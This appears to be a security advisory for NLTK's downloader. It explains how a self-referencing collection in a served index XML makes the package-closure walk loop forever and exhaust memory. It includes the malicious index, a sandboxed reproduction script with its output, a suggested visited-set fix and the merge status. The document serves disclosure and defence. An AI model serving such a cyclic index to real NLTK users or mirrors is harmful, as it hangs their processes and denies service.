NLTK: Downloader cyclic collection indices cause an infinite closure walk
Description
affected: PyPI
nltk>= 3.6.7—nltk.downloaderindex parsing (Downloader._update_index) dynamically reproduced:nltk3.6.7(4/4 checks),3.9.2(4/4),3.10.3(4/4), anddevelop6818767b9(4/4)
---
Source references (`nltk/downloader.py:NNN`) are to commit `6818767b9` (`develop`, `v3.10.3-15-g6818767b9`). The `v3.10.3` tag and the released `3.10.3` wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at `downloader.py:1300-1310`). Dynamically verified wheels additionally show the same defect at `downloader.py:972` (`3.9.2`) and `downloader.py:987` (`3.6.7`).
Summary
Downloader._update_index (nltk/downloader.py:1253-1313) is the mandatory first step of every downloader operation (download(), info(), packages(), collections(), list(), status()). After replacing each <item ref="…"> string with the actual Collection/Package object (downloader.py:1285-1290), it computes each collection's recursive package closure with a breadth-first walk that has no visited set and no depth cap:
# nltk/downloader.py:1300-1310
for collection in self._collections.values():
packages = {}
queue = [collection]
for child in queue:
if isinstance(child, Collection):
queue.extend(child.children)
elif isinstance(child, Package):
packages[child.id] = child
collection.packages = packages.values()A self-referencing or mutually-referencing index — e.g. <collection id="a"><item ref="a"/></collection> — turns a.children into an object-level cycle, and the for child in queue: queue.extend(child.children) loop appends to the very list it is iterating, so the queue grows forever. The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size — only its self-reference is abnormal, and nothing validates it.
Details
Root cause is the combination of three unguarded steps:
Collection.fromxml(nltk/downloader.py:362-369) stores each<item ref="…">attribute verbatim as a string. It never checks whether a ref targets the collection's own id, or participates in a reference cycle._update_index(nltk/downloader.py:1285-1290) replaces those ref strings with the live objects fromself._collections/self._packages. A self- or mutual-reference therefore becomes an object-level cycle inchildren.- The closure walk (
nltk/downloader.py:1300-1310) iteratesfor child in queuewhile doingqueue.extend(child.children)inside the loop. Python's list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is novisitedset, no node-count cap, and no cycle detection.
The input is the data-server index that the downloader is designed to fetch and trust: _update_index pulls it with safe_parse(urlopen(self._url)) (nltk/downloader.py:1269-1271) and parses <collections>/<collection> elements with no structural validation. The index URL is a user-configurable product feature (server_index_url constructor argument, CLI -u / --url at downloader.py:3052-3058 — the option's dest is server_index_url — plus NLTK_DOWNLOAD_URL and the Shell/GUI "Set Server URL"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.
PoC
The self-checking reproduction script embedded below runs the attack against a file://-hosted index (no network server needed; the hardened nltk.pathsec.urlopen accepts local file:// URLs) and a matching acyclic control index, in separate child processes under an address-space cap (RLIMIT_AS). That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process — the same function, the same caller, the same finite 2-entry index — cannot finish and is aborted by MemoryError at queue.extend(child.children), proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.
Scope note: dynamically verified on the released 3.6.7, 3.9.2, and 3.10.3 wheels and on develop 6818767b9. 3.6.0–3.6.6 share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates 3.6 and earlier releases were not assessed.
Environment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.
Live transcript (recorded run on the nltk 3.10.3 wheel; the 3.6.7, 3.9.2, and develop 6818767b9 runs produce the same 4/4 result, differing only in the downloader.py line number in the traceback — 987, 972, and 1305 respectively — and the elapsed time):
[PASS] precondition: cyclic index has a self-referencing <collection> (ref='a' inside <collection id='a'>)
[PASS] precondition: acyclic control index references only packages
[control] returned rc=0 in 0.2s
[PASS] control: Downloader.packages() returned (no hang)
[PASS] control: _packages parsed = ['p1']
[PASS] control: collection 'a' closure = ['p1'] (finite, as documented)
[PASS] control: acyclic index completes and yields the documented finite closure (rc=0)
[attack] rc=1 after 6.6s
[attack] entering Downloader.packages() on the self-referencing index ...
Traceback (most recent call last):
File "<string>", line 38, in <module>
File "nltk/downloader.py", line 627, in packages
self._update_index()
File "nltk/downloader.py", line 1305, in _update_index
queue.extend(child.children)
MemoryError
[PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth) (rc=1, MemoryError)
nltk under test: 3.10.3
RESULT 4/4 checks passed, 0 failedThe malicious index is exactly:
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Cyclic collection">
<item ref="a"/>
<item ref="p1"/>
</collection>
</collections>
</index>Impact
- Type: CWE-835 / CWE-400 — denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact.
- Who is impacted: any deployment that uses
nltk.downloader(directly, vianltk.download(), or through the Shell/GUI) against an index URL it does not fully control — third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM'd. Every entry point (download(),info(),packages(),collections(),status()) funnels through_update_indexand is blocked. - Attacker requirements: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required.
- Effect: the process is permanently wedged in the closure BFS — 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running
nltk.download()in a script or service turns a single poisoned index into an unresolvable hang.
Suggested fix: add a visited set to the closure BFS so each Collection is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:
for collection in self._collections.values():
packages = {}
queue = [collection]
seen = set()
for child in queue:
if isinstance(child, Collection):
if child.id in seen:
continue
seen.add(child.id)
queue.extend(child.children)
elif isinstance(child, Package):
packages[child.id] = child
collection.packages = packages.values()Defense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic ref chains in Collection.fromxml / during the ref-replacement at downloader.py:1285-1290) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts packages()/info() terminate and either skip or reject the cycle.
---
Reproduction script (self-contained)
#!/usr/bin/env python3
"""Self-checking reproduction: a cyclic collection index makes
``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.
Attack: an index XML whose ``<collection>`` references itself (or a mutual
cycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``
strings with real ``Collection`` objects. The package-closure walk
(``for child in queue: ... queue.extend(child.children)``) has no visited set
and no depth cap, so the queue grows forever and the function never returns.
Controls:
* an acyclic index of the same shape completes and yields the expected
closure (the same function, the same caller, under the same memory cap);
* the attack never returns normally: it either keeps running past a hard
timeout (observed hang) or is aborted by the child's address-space cap
(unbounded memory growth) -- in both cases the exact finite input that the
control handles instantly cannot be completed.
Usage:
python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]
Environment:
NLTK_WHEEL path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is
installed into a scratch dir and put on PYTHONPATH for the
verification children.
NLTK_TIMEOUT hard timeout seconds for each child (default: 60).
MEMCAP_MIB address-space cap per child in MiB (default: 512); can also be
passed as the first positional argument.
"""
import os
import resource
import subprocess
import sys
import tempfile
import textwrap
import time
from xml.etree import ElementTree
def _default_memcap():
if len(sys.argv) > 1 and sys.argv[1] != "--child":
raw = sys.argv[1]
else:
raw = os.environ.get("MEMCAP_MIB", "512")
try:
value = int(raw)
except (TypeError, ValueError):
print("warning: invalid MEMCAP_MIB %r, falling back to 512" % raw, file=sys.stderr)
return "512"
return str(value) if value > 0 else "512"
MEMCAP_MIB = int(_default_memcap())
CHILD_TIMEOUT = float(os.environ.get("NLTK_TIMEOUT", "60"))
CYCLIC_INDEX = """<?xml version="1.0"?>
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Cyclic collection">
<item ref="a"/>
<item ref="p1"/>
</collection>
</collections>
</index>
"""
ACYCLIC_INDEX = """<?xml version="1.0"?>
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Acyclic collection">
<item ref="p1"/>
</collection>
</collections>
</index>
"""
CHILD_DRIVER = r"""
import os
import resource
import sys
import nltk
import nltk.data as nltk_data
mode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]
# Allow the local index file to be read under hardened pathsec (ENFORCE mode).
nltk_data.path.append(workdir)
cap = int(os.environ["NLTK_CHILD_MEMCAP_MIB"]) * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (cap, cap))
from nltk.downloader import Downloader
downloader = Downloader(server_index_url=url)
if mode == "control":
# _update_index() runs to completion here; the acyclic closure is finite.
packages = list(downloader.packages())
ids = sorted(p.id for p in packages)
print("[PASS] control: Downloader.packages() returned (no hang)")
assert ids == ["p1"], ids
print("[PASS] control: _packages parsed = %r" % ids)
col = next(c for c in downloader.collections() if c.id == "a")
closure = sorted(p.id for p in col.packages)
assert closure == ["p1"], closure
print("[PASS] control: collection 'a' closure = %r (finite, as documented)" % closure)
sys.exit(0)
elif mode == "attack":
# This call drives _update_index -> the collection-closure BFS. The index
# collection self-references itself, so the BFS never terminates; the queue
# keeps growing until the address-space cap aborts the process.
print("[attack] entering Downloader.packages() on the self-referencing index ...")
_ = downloader.packages()
print("[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered")
sys.exit(2)
else:
print("[FAIL] unknown mode %r" % mode)
sys.exit(2)
"""
def build_site_env(workdir):
"""Return (env, site_path_or_None) so the children can import nltk."""
probe = subprocess.run(
[sys.executable, "-c", "import nltk"],
capture_output=True,
)
if probe.returncode == 0:
return dict(os.environ), None
wheel = os.environ.get("NLTK_WHEEL")
if not wheel:
return None, None
site = os.path.join(workdir, "site")
subprocess.run(
[sys.executable, "-m", "pip", "install", "--quiet", "--target", site, wheel],
check=True,
)
env = dict(os.environ)
env["PYTHONPATH"] = site + (os.pathsep + env["PYTHONPATH"] if env.get("PYTHONPATH") else "")
return env, site
def run_child(env, script, mode, url, workdir):
cmd = [sys.executable, script, "--child", mode, url, workdir]
start = time.monotonic()
try:
proc = subprocess.run(
cmd,
env=env,
capture_output=True,
text=True,
timeout=CHILD_TIMEOUT,
)
timed_out = False
except subprocess.TimeoutExpired as exc:
proc = exc
timed_out = True
elapsed = time.monotonic() - start
stdout = proc.stdout if hasattr(proc, "stdout") else ""
stderr = proc.stderr if hasattr(proc, "stderr") else ""
return timed_out, getattr(proc, "returncode", None), stdout, stderr, elapsed
def main():
results = []
def check(name, cond, detail=""):
results.append(bool(cond))
print("[%s] %s%s" % ("PASS" if cond else "FAIL", name, (" (%s)" % detail if detail else "")))
with tempfile.TemporaryDirectory(prefix="nltk_cycle_") as workdir:
cyclic_path = os.path.join(workdir, "index_cyclic.xml")
acyclic_path = os.path.join(workdir, "index_acyclic.xml")
with open(cyclic_path, "w") as fh:
fh.write(CYCLIC_INDEX)
with open(acyclic_path, "w") as fh:
fh.write(ACYCLIC_INDEX)
cyclic_url = "file://" + cyclic_path
acyclic_url = "file://" + acyclic_path
# --- Input modeling preconditions -------------------------------
cyc = ElementTree.parse(cyclic_path).getroot()
col = cyc.find("collections/collection")
check(
"precondition: cyclic index has a self-referencing <collection>",
col is not None and col.get("id") == "a"
and any((it.get("ref") == "a" for it in col.findall("item"))),
"ref='a' inside <collection id='a'>",
)
acy = ElementTree.parse(acyclic_path).getroot()
cola = acy.find("collections/collection")
check(
"precondition: acyclic control index references only packages",
cola is not None and [it.get("ref") for it in cola.findall("item")] == ["p1"],
)
env, site = build_site_env(workdir)
if env is None:
print("FAIL: nltk is not importable and NLTK_WHEEL is unset", file=sys.stderr)
return 1
child_env = dict(env)
child_env["NLTK_CHILD_MEMCAP_MIB"] = str(MEMCAP_MIB)
# --- Control: acyclic index completes under the same memory cap ---
t, rc, out, err, el = run_child(child_env, __file__, "control", acyclic_url, workdir)
print("[control] returned rc=%s in %.1fs%s" % (rc, el, " (TIMEOUT)" if t else ""))
if out:
print(out, end="")
if err:
print(err, end="")
check(
"control: acyclic index completes and yields the documented finite closure",
(not t) and rc == 0 and "collection 'a' closure = ['p1']" in (out + err),
"rc=%s" % rc,
)
# --- Attack: cyclic index must NOT complete ----------------------
t, rc, out, err, el = run_child(child_env, __file__, "attack", cyclic_url, workdir)
print("[attack] rc=%s after %.1fs%s" % (rc, el, " (still running at timeout)" if t else ""))
if out:
print(out, end="")
if err:
print(err, end="")
if t:
check(
"attack: self-referencing index hangs _update_index past the %ss timeout" % CHILD_TIMEOUT,
True,
"process still running, queue growing unboundedly",
)
elif rc is not None and rc != 0:
memory = "MemoryError" in (out + err) or "MemoryError" in err
check(
"attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)" % MEMCAP_MIB,
memory,
"rc=%s, %s" % (rc, "MemoryError" if memory else "non-zero exit"),
)
else:
check(
"attack: self-referencing index hangs _update_index (vulnerability reproduced)",
False,
"function returned -- cyclic input was handled",
)
# --- Version banner ---------------------------------------------
ver_out = subprocess.run(
[sys.executable, "-c", "import nltk; print(nltk.__version__)"],
env=env,
capture_output=True,
text=True,
).stdout.strip()
print("nltk under test: %s" % (ver_out or "unknown"))
passed = sum(results)
failed = len(results) - passed
print("RESULT %d/%d checks passed, %d failed" % (passed, len(results), failed))
return 0 if failed == 0 else 1
if __name__ == "__main__":
if len(sys.argv) >= 2 and sys.argv[1] == "--child":
os.execv(sys.executable, [sys.executable, "-c", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])
sys.exit(main())Fix status (2026-09-28)
Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).
PR: #3767 "Prevent infinite loop from cyclic collection indices" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).
Probe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).
Release: none yet; no release tag contains b77d329db.